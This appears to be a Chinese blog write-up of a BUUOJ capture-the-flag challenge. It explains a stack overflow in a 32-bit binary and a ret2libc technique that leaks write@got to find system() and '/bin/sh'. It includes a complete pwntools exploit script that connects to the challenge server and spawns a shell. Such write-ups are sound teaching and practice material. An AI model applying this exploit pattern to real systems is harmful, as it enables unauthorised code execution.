铁人三项(第五赛区)_2018_rop
使用checksec查看:

只开启了栈不可执行。
先放进IDA中分析:

- 给出了漏洞函数,直接跟过去查看吧。
vulnerable_function():

return read(0, &buf, 0x100u);:可以读入0x100大小的数据,存在栈溢出。
题目思路
- 存在栈溢出。
- 程序中无
system()和/bin/sh字符串。 - 利用
write()函数泄露地址。 - 使用ret2libc的方式getshell。
步骤解析:
先利用
write()函数通过栈溢出,泄露出write@got的地址。

接着确定libc之后,计算出
system()和/bin/bash的地址。

再次利用栈溢出即可geshell。

完整exp
from pwn import *
#start
r = remote("node4.buuoj.cn",26594)
# r = process("../buu/铁人三项(第五赛区)_2018_rop")
elf = ELF("../buu/铁人三项(第五赛区)_2018_rop")
libc = ELF("../buu/ubuntu18(32).so")
#params
write_got = elf.got['write']
write_plt = elf.plt['write']
main_addr = elf.symbols['main']
#attack
payload = b'M'*(0x88+4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
r.sendline(payload)
write_addr = u32(r.recv(4))
print("write_addr: " + hex(write_addr))
#libc
base_addr = write_addr - libc.symbols['write']
system_addr = base_addr + libc.symbols['system']
bin_sh_addr = base_addr + next(libc.search(b'/bin/sh'))
print("system_addr: " + hex(system_addr))
print("bin_sh_addr" + hex(bin_sh_addr))
#attack2
payload2 = b'M'*(0x88+4) + p32(system_addr) + b'M'*4 +p32(bin_sh_addr)
r.sendline(payload2)
r.interactive()
这篇博客详细介绍了如何在2018年的铁人三项(第五赛区) rop挑战中,通过发现栈溢出漏洞,利用write()函数泄露地址并实现ret2libc技术获取shell。作者展示了步骤解析和完整的exploit代码,涉及ELF分析、地址计算和远程攻击过程。
902

被折叠的 条评论
为什么被折叠?



